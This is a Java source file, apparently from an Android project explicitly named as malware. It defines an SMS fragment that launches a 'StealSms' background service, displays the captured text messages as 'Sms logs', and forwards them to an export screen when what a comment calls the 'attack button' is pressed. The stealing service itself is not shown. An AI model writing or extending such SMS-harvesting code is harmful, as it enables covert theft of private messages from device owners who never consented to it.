package com.example.h3x.androidmalware.View.Fragments;

import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.support.v4.app.Fragment;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;

import com.example.h3x.androidmalware.Models.SendToActivity;
import com.example.h3x.androidmalware.R;
import com.example.h3x.androidmalware.Services.Sms.StealSms;
import com.example.h3x.androidmalware.View.Activities.ExportActivity;
import com.ms.square.android.expandabletextview.ExpandableTextView;



public class SmsFragment extends Fragment {
    public  String smstext = "";


    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

    }

    @Override
    public View onCreateView(LayoutInflater inflater, ViewGroup container,
                             Bundle savedInstanceState) {
        // Inflate the layout for this fragment
        View v = inflater.inflate(R.layout.fragment_sms, container, false);
        //declaration a final variables of fragment components
        final Button send = v.findViewById(R.id.send);
        final EditText email = v.findViewById(R.id.plain_text_input);
        final ExpandableTextView sms =  v.findViewById(R.id.item)
                .findViewById(R.id.expand_text_view);
        //starting SmsStealer Service
        getActivity().startService(new Intent(getContext(), StealSms.class));
        if (smstext.isEmpty()) {
            sms.setText("Sms logs:\n"+getString(R.string.ver_error));
            send.setEnabled(false);
            email.setEnabled(false);
        } else {
            send.setEnabled(true);
            email.setClickable(true);
            sms.setText("Sms logs:\n"+smstext);
            View.OnClickListener sending = new View.OnClickListener() {
                @Override
                public void onClick(View v) {
                    Intent myIntent = new Intent(getActivity(), ExportActivity.class);
                    SendToActivity.SendToActivity("Saved sms:",smstext);
                    getActivity().startActivity(myIntent);

                }
            };
            send.setOnClickListener(sending); //listener of pressing attack button
        }

        return v;
    }





    /**
     * This method is inteded for getting String from
     * StealSms.class
     */
    public  void SetSms(String smstext){
        this.smstext = smstext;
    }
}
